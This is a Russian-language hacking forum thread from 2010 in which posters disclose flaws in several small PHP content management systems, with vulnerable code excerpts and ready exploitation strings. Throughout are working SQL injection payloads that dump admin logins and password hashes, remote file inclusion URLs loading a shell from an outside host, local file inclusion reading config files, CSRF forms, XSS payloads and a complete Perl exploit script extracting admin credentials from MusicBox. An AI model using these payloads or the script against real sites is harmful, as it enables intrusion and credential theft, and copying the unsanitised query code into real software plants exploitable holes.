CSRF + SQL inj(в админке!)
просто выношу потому что редкий интересный случай1
Admin/Pages/List.php...
$strAction=QuerySafeString($_POST["txtAction"]);
}
if ($_SESSION["Admin"] =="Y")
{
$conclass =new DataBase();
if ($strAction=="DEL")
{
if (isset($_POST['chkSelect']))
{
$strSelection=$_POST['chkSelect'];
$strSQL="DELETE FROM pages_t_details WHERE id IN(". join(',', $strSelection) . ")";
//print $strSQL;
$strErrorMessages="";
$var1=$conclass->Execute ($strSQL,$strErrorMessages);
}...Includes/Database.php...
function QuerySafeString($pstrString)
{
$badChars = array("\'");
$newChars = array("'");
$pstrString = str_replace($badChars, $newChars, $pstrString);
$pstrString=killChars($pstrString);
return $pstrString;
}...Includes/Database.php
...function killChars($strWords)
{
$badChars = array("select", "drop", ";", "--", "insert", "delete","Update");
$newChars = array("", "", "", "", "", "", "");
$strWords = str_replace($badChars, $newChars, $strWords);
return $strWords;
}...Вывод ошибки от СУБД
Includes/Database.php...
function Execute($strSQL,$strErrorMessages)
{
$result = mysql_query($strSQL) or die("Query failed : " . mysql_error());
return $result;
}...Result:
<FORM action="http://localhost/basiccms/Admin/Pages/List.php?txtAction=" method="POST">
<INPUT type="checkbox" name="chkSelect[]" id="chkSelect[]" value="666" checked>
<INPUT type="checkbox" name="chkSelect[]" id="chkSelect[]" value="(Select * from (Select name_const(version(),1),name_const(version(),1))x)" checked>
<INPUT type="checkbox" name="txtAction" value="DEL" checked>
<input type=submit value="inj">
</FORM>
SQL inj
Admin/Pages/AddModifyInput.php
...$strsql = "SELECT id, title,description,startpage FROM pages_t_details WHERE id=" . $strID;
$rst= $conclass->Execute ($strsql,$strError);...
Result:
http://localhost/basiccms/admin/pages/AddModifyinput.php?ID=9+union+Select+1,version%28% 29,3,4
Также уязвим Admin./Pages/AddModifyDelete.php
XSRF+SQL inj(права админа!)
...$strsql="DELETE FROM pages_t_details ";
$strsql.= " WHERE id=" .SQLSafeString($strID);...
Result:
http://localhost/basiccms/admin/pages/AddModifyInput.php?action=DEL&ID=1+or+%281,2%29=%28Select%20*%20from%20%28Select %20name_const%28version%28%29,1%29,name_const%28ve rsion%28%29,1%29%29x%29
ps еще можна было провести (в других файлах) XSRF на добавление пользователей, ... + SQL inj(права админа).
[x60]unu
12.04.2010, 13:08
WebspotBlogging
Product : WebspotBlogging v 3.01
RFI, LFI
файлы в главной папке обращаются к файлам из папки inc в которых можно увидеть код - пример
inc/mainheader.inc.php
include($path."inc/global.php");
allow_url_include = On
rg = on
result :
http://x60unu/archives.php?path=http:/site/shell.txt?
http://x60unu/register.php?path=http://site/shell.txt?
http://x60unu/index.php?path=http://site/shell.txt?
http://x60unu/showpost.php?path=http://site/shell.txt?
http://x60unu/login.php?path=http://site/shell.txt?
http://x60unu/postcomment.php?path=http://site/shell.txt?
http://x60unu/showarchive.php?path=http://site/shell.txt?
http://x60unu/rss.php?path=http://site/shell.txt?
Ну и там же LFI
SQL Injection
Для всех скуль нужно mq=off
showpost.php
$sql = "SELECT * FROM blog WHERE pid = '".$_GET['id']."';";
$query = mysql_query($sql);
http://x60unu/showpost.php?id=1'+and+0+union+all+select+1,2,3,4, 5,6,7,8,9,10--+
showarchive.php
$monthdate = $_GET['monthdate'];
$sql = "SELECT * FROM blog WHERE month_date = '".$_GET['monthdate']."' ORDER BY date_time DESC;";
$query = mysql_query($sql);
http://x60unu/showarchive.php?monthdate='+and+0+union+all+select +1,2,3,4,5,6,7,8,9,10--+
зарегистрированным пользователям
posting/edit.php
$query = $database->query("SELECT * FROM blog WHERE pid = '".$_REQUEST['id']."'");
$post = $database->fetch_array($query);
http://x60unu/posting/edit.php?id=1'+and+0+union+all+select+1,2,3,versio n(),5,6,7,8,9,10--+
posting/editcomment.php
$query = $database->query("SELECT * FROM comments WHERE cid = '".$_GET['id']."'");
if($database->num_rows($query) < 1){
http://x60unu/posting/editcomment.php?id=1'+and+0+union+all+select+1,2,3 ,4,5--+
posting/comments.php
$query = $database->query("SELECT * FROM comments WHERE pid = '".$_REQUEST['id']."' ORDER BY date_time DESC");
if($database->num_rows($query) < 1){
http://x60unu/posting/comments.php?id=1'+and+0+union+all+select+1,2,3,4, 5--+
Blind SQL Injection
mysql = 5
mq = off
postcomment.php комментируем запись -->
$database->query("INSERT INTO comments (cid,uid,comment,date_time,pid) VALUES ('','".$_SESSION['uid']."','".$_POST['comment']."',NOW(),'".$_POST['pid']."')");
header("Location: showpost.php?id=".$_POST['pid']);
ob_end_flush();
users/index.php редактируем email -->
register.php - регистрация -->
$sql = "INSERT INTO users (`uid`,`username`,`password`,`admin`,`mod`,`email` ,`newsletter`) VALUES ('','".$_POST['username']."','".md5($_POST['password'])."',0,0,'".$_POST['email']."','".$_POST['newsletter']."')";
$query = $database->query($sql);
-->
xek%'/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/**/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)/**/and/**/'1'='1
Active Xss
comments - комментируем записи "/><script>alert("xss");</script>
user cp - email "/><script>alert("xss");</script>
posting - "/><script>alert("xss");</script>
Strilo4ka
14.04.2010, 00:35
Free CMS Webcountry
Древний релиз! - но компания не дремлет!
Используеться mod_rewrite.
В index.php есть такой код:...ob_start();
$mod=$_GET["mod"];
if (!IsSet($mod)){include "./page/$main_page.php";}
else {include "./page/".$mod.".php";}
$contents=ob_get_contents();
ob_end_clean();......require("./tpl/$thema.tpl");...Переменная $thema определяеться в подключаемом файле c запроса.
Если переменную определить в подключаемом файле, например, не с запроса или с запроса после SQL inj, то расширение можна отбросить.
В БД ничего ценного! Пусть админко запаролена :).
В подключаемый файл тулим $thema=$_GET['thema']. И гетом передадим thema=../readme.txt%00, кроме mod.
То должно получиться типо такого: http://localhost/f/index.php?mod=../1.txt%00&thema=../readme.txt%00.
Если переменную $thema не определить, то результат не увидеть с первого инклуда - будет ошибка в фунции require, так как скрипт не выполниться! Как реализовать с proc думаю понятно.
Теперь пример инклуда с результату запроса после проведения SQL ing(или при!).
Подключаем файлик с /page,
допустим, news.php так как там парамтер id передаеться в запрос!...$query = "SELECT * FROM site WHERE id='".$_GET["id"]."';";
$result = mysql_query($query);
while($r=mysql_fetch_array($result))
{
$title=$r["title_page"];
$KeyWords_page=$r["KeyWords_page"];
$Description_page=$r["Description_page"];
$txt_page=$r["txt_page"];
$thema=$r["thema"];
echo "$txt_page";}... Имеем LFI с 6 поля:
http://localhost/f/index.php?mod=news&id=3%27+union+select+1,2,3,4,5,6,7,8--+
Warning: require(./tpl/6.tpl) [function.require]:
http://localhost/f/index.php?mod=news&id=3%27+union+select+1,2,3,4,5,%27../readme.txt%00%27,7,8--+
Недостаток при SQL inj в том, что надо mg=off так как id в запросе ...id='".$_GET."';...Так же SQL inj в /pages/index.php ...mysql_select_db ($db_name) or die ("Нет соединения с БД");
$query = "SELECT * FROM site WHERE id='".$_GET["id"]."';";
$result = mysql_query($query);...up
та й в принципе вектор атаки должен умещаться в рамки url , посему первый вариант не сработает, разве что ось win (при mg=on).
Еще надо сказать, что если rg=on, то $_GET масив тоже формируеться, не только глобальные и значение "магических" к фени!...
Тоесть, при rg=on имеем LFI вот так:
http://localhost/117/index.php?mod=1&thema=../readme.txt%00
http://localhost/117/index.php?mod=1&thema=../readme.txt[/]
http://localhost/117/index.php?mod=1&thema=../readme.txt[.]
ps /adm - админко незапаролена по умолчанию.
Strilo4ka
15.04.2010, 04:07
AntiSlaed CMS 4.1
index.php ...$name = (isset($_POST)) ? ((isset($_POST)) ? analyze($_POST) : "") : ((isset($_GET)) ? analyze($_GET) : "");......$file = (isset($_POST['file'])) ? ((isset($_POST['file'])) ? analyze($_POST['file']) : "") : ((isset($_GET['file'])) ? analyze($_GET['file']) : "");
$file = ($file) ? $file : "index";......include("modules/".$name."/".$file.".php");...Теперь смотрим в модуль новости /modules/news/index.php.function news(){...
$scat = (isset($_GET['cat'])) ? $_GET['cat'] : 0;...
...list($cat_title, $cat_description) = $db->sql_fetchrow($db->sql_query("SELECT title, description FROM ".$prefix."_categories WHERE id='$scat'"));...
}...switch($op) {
default:
news();
break;...в ../index.php...$op = (isset($_POST)) ? ((isset($_POST)) ? analyze($_POST) : "") : ((isset($_GET)) ? analyze($_GET) : "");...Можно было бы провести SQL inj если бы не файл functions/security.php начиная с 341 line, ех!
Ищем .:XSS:.
Поиск закончился успехом.
/modules/order/index.php
Обращаем внимание на $_POST['com']
function order() {
global $conf, $confor, $pagetitle, $bodytext, $stop;
$pagetitle = "".$conf['defis']." "._ORDER."";
$bodytext = $confor['text'];
if (is_user()) {
$userinfo = getusrinfo();
$mail = (isset($_POST['mail'])) ? $_POST['mail'] : $userinfo['user_email'];
} else {
$mail = (isset($_POST['mail'])) ? $_POST['mail'] : "";
}
$field = fields_save($_POST['field']);
head();
title(""._ORDER."");
if ($stop) warning($stop, "", "", 1);
open();
echo bb_decode($bodytext, "all");
close();
if ($confor['an']) {
open();
echo "<h2>"._OR_1."</h2><form method=\"post\" action=\"index.php?name=".$conf['name']."\" OnSubmit=\"ButtonDisable(this)\">"
."<div class=\"left\">"._OR_2." <font class=\"option\">*</font></div><div class=\"center\"><input type=\"text\" name=\"mail\" value=\"".$mail."\" maxlength=\"255\" size=\"65\" class=\"".$conf['style']."\"></div>"
."".fields_in($field, $conf['name']).""
."<div class=\"left\">"._OR_3."</div><div class=\"center\"><textarea name=\"com\" cols=\"65\" rows=\"5\" class=\"".$conf['style']."\">".$_POST['com']."</textarea></div>"
."".captcha_random().""
."<div class=\"button\"><input type=\"hidden\" name=\"op\" value=\"send\"><input type=\"submit\" value=\""._OR_4."\" class=\"fbutton\"></div></form>";
close();
} else {
warning(""._OR_5."", "", "", 2);
}
foot();
}...Функция order() вызываеться по умолчанию
...switch($op) {
default:
order();
break;...Result:
- формиуем код;
- заставляем админа послать пост-запрос (ну понятно что он должен быть авторизирован!).
Простой пример експлуатации:
<form action="http://anti/index.php?name=order">
<p><b>Каким браузером в основном пользуетесь:</b><Br>
<input type="radio" name="browser" value="ie"> Internet Explorer<Br>
<input type="radio" name="browser" value="opera"> Opera<Br>
<input type="radio" name="browser" value="firefox"> Firefox<Br>
</p>
<input type="hidden" name="com" VALUE="</textarea><script>alert(123)</script>">
<input type=submit value="Молодца"!">
</form>
up
В самом последнем релизе пофиксено!
Значение переменной $com и других проганяэться через:
# HTML and word filter
function text_filter($message, $type="") {
global $conf;
$message = is_array($message) ? fields_save($message) : $message;
if (intval($type) == 2) {
$message = htmlspecialchars(trim($message), ENT_QUOTES);
} else {
$message = strip_tags(urldecode($message));
$message = htmlspecialchars(trim($message), ENT_QUOTES);
}
if ($conf['censor'] && intval($type != 1)) {
$censor_l = explode(",", $conf['censor_l']);
foreach ($censor_l as $val) $message = preg_replace("#$val#i", $conf['censor_r'], $message);
}
return $message;
}
Strilo4ka
15.04.2010, 07:24
Sing CMS
скачать (http://sing-cms.ru/downloads/modules/base/)
В результате применения XSRF имеем активную XSS.
Подтверждения со стороны адинистратора на сохранение данных нет!
Уязвимо $_POST['content'] с многострочного поля!
Вот куски кода:
/admin/editpage.php
...$checkbottom = isset($_POST['showbottom']) ? " checked" : "";
$maintpl = listtpl("main", $_POST['maintpl']);
$name = cleaninput($_POST['name']);
$keywords = cleaninput($_POST['keywords']);
$description = cleaninput($_POST['description']);
$content = stripslash($_POST['content']);
if (isset($_POST['breaks'])) {
$linebreaks = " checked";
$xx = explode("?>", $content); $prevcontent = "";
foreach($xx as $val) {......else {
dbquery("INSERT INTO ".DBPREF."pages (name, keywords, description, content, settings, created) VALUES ('$name', '$keywords', '$description', '$content', '".serialize($pageset)."', '".time()."')");
redirect($_SERVER['SCRIPT_NAME']."?id=".mysql_insert_id()."&info=added");
}.../functions.php...function stripslash($text) {
if (ini_get('magic_quotes_gpc')) $text = stripslashes($text);
return $text;
}
function addslash($text) {
if (!ini_get('magic_quotes_gpc')) $text = addslashes(addslashes($text));
else $text = addslashes($text);
return $text;
}
function cleaninput($text) {
if (ini_get('magic_quotes_gpc')) $text = stripslashes($text);
$search = array("\"", "'", "\\", '\"', "\'", "<", ">", " ");
$replace = array(""", "'", "\", """, "'", "<", ">", " ");
$text = str_replace($search, $replace, $text);
$text = trim($text);
return $text;...Експлуатация:
<form action="http://localhost/sing/admin/editpage.php" method="post">
<p><b>Каким браузером в основном пользуетесь</b>
<Br> <input type="radio" name="browser" value="ie"> Internet Explorer
<Br> <input type="radio" name="browser" value="opera"> Opera
<Br> <input type="radio" name="browser" value="firefox"> Firefox<Br></p>
<input type="hidden" name="maintpl" VALUE="1">
<input type="hidden" name="name" VALUE="123">
<input type="hidden" name="content" VALUE="<script>alert(123)</script>">
<input type="hidden" name="save">
<input type=submit value="Молодца"!">
</form>Result:
id страницы, например 2.
в page.php?id=2 ...<div class="page"><script>alert(123)</script></div>...
Strilo4ka
16.04.2010, 03:27
CMS.link
/include/functions.php....function adds(&$el,$level=0) {
if (is_array($el)){
if (get_magic_quotes_gpc()) return;
foreach($el as $k=>$v)
adds($el[$k],$level+1);
}
else{
if (!get_magic_quotes_gpc()) $el = addslashes($el);
if (!$level) return $el;
}
}
...Через эту функцию не провести SQL inj
Улыбнул вот этот участок кода:...
if($site->getCommP())$method="";
switch($method)
{
case "print":
include $config['site_dir']."include/plugins/mop/print.plg";
break;
case "send":
include $config['site_dir']."include/plugins/mop/send.plg";
break;
case "comments":
include $config['site_dir']."include/plugins/mop/comments.plg";
break;
case "vote":
include $config['site_dir']."include/plugins/mop/vote.plg";
break;
case "dir":
include $config['site_dir']."include/plugins/mop/dir.plg";
break;
default:
$file=$config['site_dir']."templates/docs/".$site->getTemplate().".tpl";
if (!file_exists($file))
error_rep("Server","No such file or directory ($file)","404");
include $file;...XSS в include/plugins/mop/send.plg ...
if(!ereg(".+@.+\..+", $_POST['p_s_mail'])){
$p_s_error="{$lan[18]}<br>";
p_s_print_html($p_s_error);
}
elseif($_POST['p_s_yname']==""){
$p_s_error="{$lan[2]}<br>";
p_s_print_html($p_s_error);
}
elseif(!ereg(".+@.+\..+", $_POST['p_s_ymail'])){
$p_s_error="{$lan[1]}<br>";
p_s_print_html($p_s_error);
}
else{
mail(
$_POST['p_s_mail'],
$lan[19],
htmlspecialchars(stripslashes($p_s_mes)),
"From: {$_POST['p_s_ymail']}\n".
"Reply-To: {$_POST['p_s_yname']}\n");
echo "{$lan[17]} \"{$_POST['p_s_mail']}\".<br><br>";
}
.../include/langyage/russian.lng...$lan="Публикация успешно отправлена по адресу";...
Тоесть, имеем пасивную XSS в поле E-mail друга (p_s_mail) + анонимная отправка писем.
Даные отправляються постом.
Чтоб сработала comm_permission=0 должно быть.
По умолчанию так и есть на 3-х страницах и при добавление новых также (если не изменить радиобатон).
Result:
http://cmslink/main/send
В поле E-mail друга:blabla@mail.ru<script>alert(123)</script>
Magneto <= v2.0
SQl-inj
Офф сайт:
http://www.userside.org.ua/magneto/
/magneto/main/config/admfunct.php
function requestdata($ps1)
{
if (isset($_REQUEST[$ps1])){$ps_requestdata=replacesymbol(trim($_REQUEST[$ps1]));} else {$ps_requestdata='';}
return $ps_requestdata;
}
/magneto/module/$module/kat.php
if ($ps_type=="delkat" || $ps_type=="editdopf" || $ps_type=="editdopf2" || $ps_type=="delsubkat" || $ps_type=="edit" || $ps_type=="edit2") dopverify("DO_KAT");
if ($ps_type=="editdopf") $ps_style="short";
if ($ps_type2!="") $ps_katname=getkatname($ps_type2);
if ($ps_type=="editdopf2"){
$ps_dopf1=requestdata('dopf1');
$ps_dopf2=requestdata('dopf2');
$ps_dopf3=requestdata('dopf3');
$ps_dopf4=requestdata('dopf4');
$ps_dopf5=requestdata('dopf5');
$rs_2=mysql_query("select * from tbl_dopf where KATCODE=".$ps_code,$conn1);
$rs=mysql_fetch_array($rs_2);
if ($rs['CODE']==''){
$ps_constr="insert into tbl_dopf (KATCODE,DOPF1,DOPF2,DOPF3,DOPF4,DOPF5) values (".$ps_code.",'".$ps_dopf1."','".$ps_dopf2."','".$ps_dopf3."','".$ps_dopf4."','".$ps_dopf5."')";
}else{
$ps_constr="update tbl_dopf set DOPF1='".$ps_dopf1."',DOPF2='".$ps_dopf2."',DOPF3='".$ps_dopf3."',DOPF4='".$ps_dopf4."',DOPF5='".$ps_dopf5."' where CODE=".$rs['CODE'];
}
mysql_free_result($rs_2);
$rs_s2=mysql_query($ps_constr,$conn1);
goback();
}
И дальше в таком же духе.
Експлуатация:
[patch]/kat.php?type=showkat&type2=-1+union+select+1,2,3,4--
Strilo4ka
18.04.2010, 21:09
santafox 1.1
http://www.santafox.ru/ (http://www.santafox.ru/)
Тестировалось на фаерфокс 3.5.9
Пасивная XSS в поле поиска.
Result:
http://sa/search.html?search=%3Cscript%3Ealert%28123%29%3C%2 Fscript%3E&x=0&y=0
Пока чихлюсь с кодом, немогу найти где этот участок кода (использ.ооп), так что сори :)
ps на сайте тоже работает!
up
У нас есть активная XSS в коментах , но експлуатация сводиться к миниму, так как сначала просматривает админ. Если ступит и пометит: "Комментарий активен", то активка у двох полях.
Есть и глобальная опция Премодерация.
Blind SQL inj
Кстати, ошибка в этой функции, строка 4279, когда кавычку впихнуть при mg=off!
/modules/catalog/catalog.class.php
... private function get_item($id)
{
global $kernel;
$res = false;
$query = 'SELECT * FROM `'.PREFIX.'_catalog_'.$kernel->pub_module_id_get().'_items` WHERE `id` ='.$id.' LIMIT 1';
$result = $kernel->runSQL($query);
if ($row = mysql_fetch_assoc($result))
$res = $row;
mysql_free_result($result);
return $res;
}...Короче єтот модуль уязвим , чтоб не лезть в дебри покажу просто експлуатацию слепой иньекции в числовом контексте, думаю что есть в каком то модуле и принтабельная скуль. Будет время - поковыряю.
Result:
1) http://sa/catalog.html?cid=11+and+5=@@version
ps также парамтер дырявый itemid (гет этому скрипту!)
пасс в незашыфрованом виде :)
id,login,pass,full_name,lang,code_page,enabled
Но префикс таблицы есть, не помню при установке по дефлоту:
у меня таблица sf_admin.
админко - /admin
У кого есть желание - присоединяйтесь :)
Strilo4ka
19.04.2010, 02:23
Multiengine CMS 0.9.3
LFI
/multiengine/multiengine.php//error_reporting(0);
//header("Last-Modified: ".gmstrftime("%a, %d %b %Y %H:%M:%S", strtotime(gmdate("D, d M Y 0:00:01"))-86400+date("j")*100)." GMT");
define("THIS_SITE", "http://".$_SERVER['HTTP_HOST']."/", true);
define("CURR_URL", "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'], true);
require_once("$enginedir/functions.php");
// Подключаем класс кэша
require_once("$enginedir/cache.class.php");
// Фильтрация входящих данных
if(isset($_GET['mod'])){
$mod= QueryFilter($_GET['mod']);
}
if(isset($_GET['cat'])){
$cat= '/'.QueryFilter($_GET['cat']);
}
if($mod.$cat.$_GET['page']=='robots.txt'){
header('Content-Type: text/plain');
if(!@readfile('robots.txt')){
print "User-Agent: *\r\nDisallow:";
}
exit;
}
if(isset($_GET['page'])){
if($_GET['page']=='index'.$url_ext){
$to= 'index.php?';
if(isset($mod)){
$to.= "mod=$mod";
if(isset($_GET['cat'])){
$to.= "&cat=".$_GET['cat'];
}
}
elseif(isset($_GET['cat'])){
$to.= "cat=".$_GET['cat'];
}
header('HTTP/1.1 301 Moved Permanently');
header('Location: '.UrlRewrite(THIS_SITE.$to));
exit;
}
elseif(strstr($_GET['page'], $url_ext)){
$page= "/".QueryFilter(preg_replace('"(.+)'.$url_ext.'"', '$1', $_GET['page']));
}
else{
Error404();
}
}
else{
$page= "/index";
}
// Подключение модулей
if(isset($mod)){
if(is_file("$enginedir/mods/$mod/mod.php")){
require_once("$enginedir/mods/$mod/mod.php");
}
else{
$cat= "/$mod$cat";
if(is_file("$d_base/pages$cat$page.$db_ext")){
require_once("$enginedir/pages.php");
}
else{
Error404();
}
}
}
else{
require_once("$enginedir/pages.php");
}...target: index.php
например, в куки тулим:
; mod=../../readme.txt%00
Запрос:
Host=multiengine_cms
User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=ru,en-us;q=0.7,en;q=0.3
Accept-Encoding=gzip,deflate
Accept-Charset=windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive=300
Connection=keep-alive
Cookie=ffb4935b1bb5d18a2c0f862c02295821=fc3c3d1565 f5a9aa318645a642382fc9; mod=../../readme.txt%00
Cache-Control=max-age=0
Ответ:
Status=OK - 200
Date=Sun, 18 Apr 2010 22:14:24 GMT
Server=Apache/2.2.4 (Win32) mod_ssl/2.2.4 OpenSSL/0.9.8d PHP/5.2.4
X-Powered-By=PHP/5.2.4
Content-Length=2776
Keep-Alive=timeout=5, max=100
Connection=Keep-Alive
Content-Type=text/html; charset=windows-1251
Читалка
(достаем логин и пасс админа)
посылаем куки: ; cat=/../../multiengine/mods/admin/config.php%00
target: index.php
/multiengine/pages...
if(is_file("$d_base/pages$cat$page.$db_ext")){
$fpage= file("$d_base/pages$cat$page.$db_ext");
$pagetitle= array_shift($fpage);
$content= implode("\r\n", $fpage);...Поубирал с кода переводы и пробелы чтоб было видно!
<?</h1><div class="pagepath"><a href="http://multiengine_cms/">Имя сайта краткое</a> / <a href="http://multiengine_cms/../"></a> / <a href="http://multiengine_cms/../../multiengine/"></a> / <a href="http://multiengine_cms/../../multiengine/mods/admin/config.php_/"></a></div>
$admlogin= 'admin';$admpass= '21232f297a57a5a743894a0e4a801fc3';
?></td>
админко - /admin
Условие:
register_globals = OnJokester:
я не пойму, если зависимость register_globals = On то почему-бы сразу не RFI $enginedir ?
Я написал target - index.php чтоб реализовать то, что написано выше!
RFI не получиться , есть причины:
1) если target - multiengine/multiengine.php, то есть .htaccess
Deny from all2) если target - index.php
index.php
$enginedir= 'multiengine';
require_once("$enginedir/config.php");
$delimiter= '/';
$sitename= 'Имя сайта краткое';
$title= 'Заголовок сайта';
$description= 'Описание сайта';
require_once("$enginedir/multiengine.php");ps
mg=off, так как замена нулевого байта в is_file() не сработает.
Извинения за то, что код не полностю выложыл!
Продукт:Maian Weblog v4.0
Требования: mq = off
SQLi в /index.php
....
// Get blog data..
$q_blog = mysql_query("SELECT * FROM ".$database['prefix']."blogs
WHERE id = '$b_post'
LIMIT 1
") or die(mysql_error());
...
эксплуатация:
/index.php?cmd=blog&post=3'+and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
SQLi в admin/data_files/favourites.php
// Only load data if in edit mode..
if (isset($_GET['edit']))
{
$EDIT = mysql_fetch_object(mysql_query("SELECT * FROM ".$database['prefix']."favourites
WHERE id = '".$_GET['edit']."'
LIMIT 1
")) or die(mysql_error());
}
эксплуатация:
admin/index.php?cmd=favourites&edit=-1'+union+select+1,2,version()--+
SQLi в admin/data_files/edit.php
$q_edit = mysql_query("SELECT * FROM ".$database['prefix']."blogs
WHERE id = '".$_GET['id']."'
LIMIT 1
") or die(mysql_error());
$EDIT = mysql_fetch_object($q_edit);
эксплуатация:
admin/index.php?cmd=edit&id=-3'+union+select+1,version(),3,4,5,6,7,8,9,10,11,12--+
Также еще работает одни из xss найденная здесь http://seclists.org/bugtraq/2008/May/30
admin/index.php?cmd=search&search=1&area=blogs&keywords="><script>alert(/xss/)</script>
PS там как минимум есть еще скуля в update и delete.
Strilo4ka
20.04.2010, 06:09
ignition 1.2
XSS
/template.php...if ($twitter) {
echo('<strong><a href="http://twitter.com/'.$twitter.'">What\'s going on?</a></strong><br />');
include ('stuff/twitter.php');
echo('<br /><br />'); }
if ($identica) {
echo('<strong><a href="http://identi.ca/'.$identica.'">What\'s going on?</a></strong><br />');
include ('stuff/identica.php');
echo('<br /><br />'); }
if ($book) echo ('<strong>Currently reading:</strong><br />'.$book.'<br /><br />');
if ($game) echo ('<strong>Currently playing:</strong><br />'.$game);
echo('</div>..."Переменные нигде не определяються!
Результат:
http://localhost/ignition_1.2/index/main.php?book=1%3Cscript%3Ealert%28123%29%3C/script%3E
Условие:
rg=on
LFI
view.php...session_start();
require ('settings.php');
$blog = $_GET['blog'];
if (file_exists('posts/'.$_GET['blog'].'.txt')) {
include ('posts/'.$_GET['blog'].'.txt');
}else{
die(require('404.php')); }
iheader($title);...Результат:
http://localhost/ignition_1.2/view.php?blog=../../favicon.ico%00
Условие:
mg=off
Аналогично
comment.php
...<?php
session_start();
require ('settings.php');
include ('posts/'.$_GET['blog'].'.txt');
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"...Тут mg всеравно!
Результат:
http://localhost/ignition_1.2/comment.php?blog=../../favicon.ico%00
Или замену нул-байта.
На PHP Version 5.3.1 надо mg=off
К посту #33 (https://forum.antichat.ru/showpost.php?p=2032948&postcount=353)
#!/usr/bin/perl
use LWP::Simple;
print "\n";
print "################################################## ############\n";
print "# MusicBox v 3.3 SQL INJECTION EXPLOIT #\n";
print "# Author: Ctacok (Russian) #\n";
print "# Special for Antichat (forum.antichat.ru) and xakep.ru #\n";
print "################################################## ############\n";
print "\n Usage: exploit.pl [host] [path] ";
print "\n EX : exploit.pl www.localhost.com /path/ \n\n";
print "\n userlevel 9 = SuperAdmin ";
print "\n pass = md5($pass)";
if (@ARGV < 2)
{
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
$vuln = "-1+union+select+1,2,concat(0x3a3a3a,userid,0x3a,use rname,0x3a,password,0x3a,email,0x3a,userlevel,0x3a 3a3a),4,5,6,7+from+users+";
$doc = get($host.$path."genre_artists.php?id=".$vuln."--+&by=ASC");
if ($doc =~ /:::(.+):(.+):(.+):(.+):(.+):::/){
print "\n[+] Admin id: : $1";
print "\n[+] Admin username: $2";
print "\n[+] Admin password: $3";
print "\n[+] Admin email: $4";
print "\n[+] Admin userlevel: $5";
}else{
print "\n My name is Fail, Epic Fail... \n"
}
pastebin.com (http://pastebin.com/HDBXNHbe)
Strilo4ka
21.04.2010, 02:44
brewblogger 2.2.0
Blind SQL inj
index.php
require_once ('Connections/config.php');
require ('includes/authentication_nav.inc.php'); session_start();
include ('includes/db_connect_universal.inc.php');.../includes/authentication_nav.inc.php
mysql_select_db($database_brewing, $brewing);
$query_user = sprintf("SELECT * FROM users WHERE user_name = '%s'", $loginUsername);
$user = mysql_query($query_user, $brewing) or die(mysql_error());
$row_user = mysql_fetch_assoc($user);
$totalRows_user = mysql_num_rows($user);.../includes/db_connect_universal.inc.php
// Get server's PHP version
$phpVersion = phpversion();
//echo $phpVersion;
$currentPage = "http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'];
if (!empty($_SERVER["QUERY_STRING"])) $currentPage .= "?".$_SERVER['QUERY_STRING'];
$loginUsername = $_SESSION["loginUsername"];target:index.php
Условие:
rg=on;
mg=off.
Опять в куки, например, тулим:
; loginUsername=h' and (select 1 from (select count(0),concat(version(),floor(rand(0)*2)) from (select 1 union select 2 union select 3)x group by 2)a)#
Пароли и логины в таблице users:
user_name password
Рабочий запрос (проверил на 5.1.40-community):
; loginUsername=h' and (select 1 from (select count(0),concat_ws(0x3a,(select user_name from users limit 0,1),(select password from users limit 0,1),floor(rand(0)*2)) from (select 1 union select 2 union select 3)x group by 2)a)#
Blind SQL inj
/includes/db_connect_universal.inc.php
// User Info
mysql_select_db($database_brewing, $brewing);
$query_user5 = sprintf("SELECT * FROM users WHERE user_name = '%s'", $filter);
$user5 = mysql_query($query_user5, $brewing) or die(mysql_error());
$row_user5 = mysql_fetch_assoc($user5);
$totalRows_user5 = mysql_num_rows($user5);...need:
rg=on;
mg=off
target:index.php
Result:
в куки, напр.:
; filter=h' and (select 1 from (select count(0),concat_ws(0x3a,(select user_name from users limit 0,1),(select password from users limit 0,1),floor(rand(0)*2)) from (select 1 union select 2 union select 3)x group by 2)a)#
blind SQL inj (в order by)
includes/db_connect_universal.inc.php
...
if ($page == "brewBlogList") {
if ($filter == "all") {
mysql_select_db($database_brewing, $brewing);
$query_log = sprintf("SELECT * FROM brewing ORDER BY %s %s", $sort, $dir);
$log = mysql_query($query_log, $brewing) or die(mysql_error());
$row_log = mysql_fetch_assoc($log);
$totalRows_log = mysql_num_rows($log);
}......if ($page == "brewBlogList") $dir = "DESC";
else $dir = "ASC";
if (isset($_GET['dir'])) {
$dir = (get_magic_quotes_gpc()) ? $_GET['dir'] : addslashes($_GET['dir']);......$page = $row_pref['home'];
if (isset($_GET['page'])) {
$page = (get_magic_quotes_gpc()) ? $_GET['page'] : addslashes($_GET['page']);
}......elseif ($page == "brewBlogList") $sort = "brewDate";...need only:
rg=on :)
Reslult:
http://localhost/brewblogger2.2.0/index.php?page=brewBlogList&dir=[SQL]
http://localhost/brewblogger2.2.0/index.php?page=brewBlogList&dir=,%28select%201%20from%20%28select%20count%280% 29,concat_ws%280x3a,%28select%20user_name%20from%2 0users%20limit%200,1%29,%28select%20password%20fro m%20users%20limit%200,1%29,floor%28rand%280%29*2%2 9%29%20from%20%28select%201%20union%20select%202%2 0union%20select%203%29x%20group%20by%202%29a%29#
Duplicate entry 'admin:21232f297a57a5a743894a0e4a801fc3:1' for key 'group_key'Крутил как блинд, походу принтабельных нет(кажысь)!
Дальше по тексту есть иньекции при rg=on!
SQL inj
УРЯ! :)
Поиск принтабельной скули закнончился успехом!
target: our_site/sections/entry.inc.php?action=hack
/sections/entry.inc.php
Вот куски:
...if ($action == "default") {
$style = "default";
if (isset($_GET['style'])) {
$style = (get_magic_quotes_gpc()) ? $_GET['style'] : addslashes($_GET['style']);
}
} else
$style = $_POST['style'];......mysql_select_db($database_brewing, $brewing);
$query_style1 = sprintf("SELECT * FROM styles WHERE brewStyle = '%s'", $style);
